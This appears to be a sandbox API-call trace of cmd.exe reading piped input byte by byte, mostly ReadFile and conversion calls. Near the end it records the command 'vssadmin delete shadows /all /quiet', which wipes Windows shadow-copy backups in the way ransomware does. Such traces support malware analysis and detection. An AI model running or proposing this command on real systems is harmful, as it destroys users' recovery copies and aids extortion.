1 [0210.360] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.360] GetFileType (hFile=0xe8) returned 0x3 [0210.360] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.360] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.360] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.360] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0210.360] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.360] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.361] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.361] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0210.361] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.361] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.361] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.361] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0210.362] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.362] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.362] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.362] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0210.362] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.363] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.363] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.363] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0210.363] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.363] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.363] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.364] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0210.364] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.365] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.365] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.365] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0210.365] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.366] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.366] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0210.366] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.366] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0210.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.367] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.367] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.367] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0210.367] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0210.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.368] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.368] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0210.368] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.368] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.369] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0210.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.369] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.369] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0210.369] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.369] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.369] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.370] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0210.370] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.370] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.370] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.370] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0210.370] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.370] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.371] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.371] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0210.371] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.371] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.371] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.371] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0210.371] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.371] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.372] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.372] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0210.372] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.372] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.372] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.373] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0210.373] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.373] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.373] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.373] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0210.373] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.373] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.374] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.374] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0210.374] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.375] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.375] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.376] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0210.376] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.376] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.376] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.376] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0210.377] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.377] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.377] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.378] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0210.378] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.378] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.378] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.379] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0210.379] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.380] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.381] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.381] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0210.381] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.381] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.382] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.382] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0210.382] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.382] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.383] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.383] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0210.383] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.383] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.384] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.384] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0210.384] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.384] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.386] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.386] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0210.388] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.388] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.388] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.389] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0210.389] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.389] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.389] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.390] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0210.390] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.390] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.392] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.392] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0210.392] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.393] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.393] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.393] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0210.393] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.394] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.394] ReadFile (in: hFile=0xe8, lpBuffer=0x4aa6c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x20f618, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesRead=0x20f618*=0x1, lpOverlapped=0x0) returned 1 [0210.396] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4aa6c320, cbMultiByte=1, lpWideCharStr=0x4aa6e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0210.396] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.396] GetFileType (hFile=0xe8) returned 0x3 [0210.398] _get_osfhandle (_FileHandle=0) returned 0xe8 [0210.398] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.398] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.398] GetFileType (hFile=0xf4) returned 0x3 [0210.399] _get_osfhandle (_FileHandle=1) returned 0xf4 [0210.400] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4aa6c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0210.400] WriteFile (in: hFile=0xf4, lpBuffer=0x4aa6c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x20f5f8, lpOverlapped=0x0 | out: lpBuffer=0x4aa6c320*, lpNumberOfBytesWritten=0x20f5f8*=0x24, lpOverlapped=0x0) returned 1 [0210.400] GetProcessHeap () returned 0x380000 [0210.400] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x4012) returned 0x3a1010 [0210.403] GetProcessHeap () returned 0x380000 